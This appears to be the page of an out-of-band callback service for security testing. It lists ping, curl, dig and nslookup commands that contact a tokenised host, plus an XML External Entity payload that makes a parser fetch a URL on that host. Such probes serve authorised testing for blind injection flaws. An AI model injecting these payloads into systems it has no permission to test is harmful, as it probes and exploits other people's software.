$ ping -c1 -p 0039e714bef6a5bfe2e050ea1fc95700 unhack.ca
 
$ curl http://unhack.ca/p/39e714bef6a5bfe2e050ea1fc957
 
$ dig 39e714bef6a5bfe2e050ea1fc957 @unhack.ca
 
$ dig 39e714bef6a5bfe2e050ea1fc957.ns.unhack.ca
 
C:\> nslookup 39e714bef6a5bfe2e050ea1fc957 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/39e714bef6a5bfe2e050ea1fc957">]>
    <foo>&xxe;</foo>
Waiting for ping...